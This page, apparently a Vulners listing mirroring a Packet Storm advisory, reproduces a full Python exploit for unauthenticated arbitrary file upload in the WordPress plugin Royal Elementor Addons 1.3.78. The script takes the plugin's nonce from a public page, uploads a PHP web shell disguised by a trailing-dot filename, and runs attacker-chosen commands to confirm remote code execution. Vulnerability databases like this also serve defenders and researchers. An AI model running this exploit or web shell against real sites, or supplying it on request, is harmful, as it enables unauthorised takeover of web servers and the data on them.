Lucene search
+L

📄 WordPress Royal Elementor Addons 1.3.78 Unauthenticated Shell Upload

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

Unauthenticated file upload in WordPress Royal Elementor Addons <=1.3.78 enables code execution.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/royal-elementor-addons/
    # Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
    # Version: 1.3.78 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-1567
    """
    Royal Elementor Addons <= 1.3.78 registers the nopriv admin-ajax action wpr_addons_upload_file.
    Its file_validity() honours the attacker-supplied `allowed_file_types`, and a filename ending in a
    trailing dot ("shell.php.") has pathinfo() extension "" which is in the allow-list and not in the
    php blacklist; sanitize_file_name() then strips the dot, so the file lands as shell.php in
    wp-content/uploads/wpr-addons/forms/ (no protective .htaccess) -> RCE. Nonce WprConfig.nonce is
    printed on any Elementor-rendered front-end page.
    
    Prior state: Elementor active + one Elementor page (to harvest WprConfig.nonce).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "WPR_PWNED_1567"
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--el-page", default="/elpage/", help="path of an Elementor-rendered page")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        m = re.search(r'WprConfig\s*=\s*(\{.*?\});', s.get(base + args.el_page).text, re.S)
        if not m:
            print("[-] WprConfig not found — point --el-page at an Elementor page"); return 1
        nonce = re.search(r'"nonce":"([a-f0-9]+)"', m.group(1)).group(1)
        print(f"[*] Target: {base} | WprConfig nonce: {nonce}")
        shell = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
        r = s.post(base + "/wp-admin/admin-ajax.php",
                   files={"uploaded_file": ("shell.php.", shell, "image/jpeg")},
                   data={"action": "wpr_addons_upload_file", "triggering_event": "click",
                         "allowed_file_types": "jpg,", "wpr_addons_nonce": nonce}, timeout=30)
        print(f"[*] upload -> HTTP {r.status_code} :: {r.text[:160]}")
        mu = re.search(r'(https?:\\?/\\?/[^"]+?\.php)', r.text)
        url = mu.group(1).replace("\\/", "/") if mu else base + "/wp-content/uploads/wpr-addons/forms/shell.php"
        rr = s.get(url, params={"c": args.cmd}, timeout=15)
        if TOK in rr.text:
            print(f"\n[+] RCE CONFIRMED at {url}\n{rr.text.split(TOK+':')[1].strip()}")
            return 0
        print("\n[-] not confirmed"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.18.2 - 9.8
EPSS0.01147
SSVC
13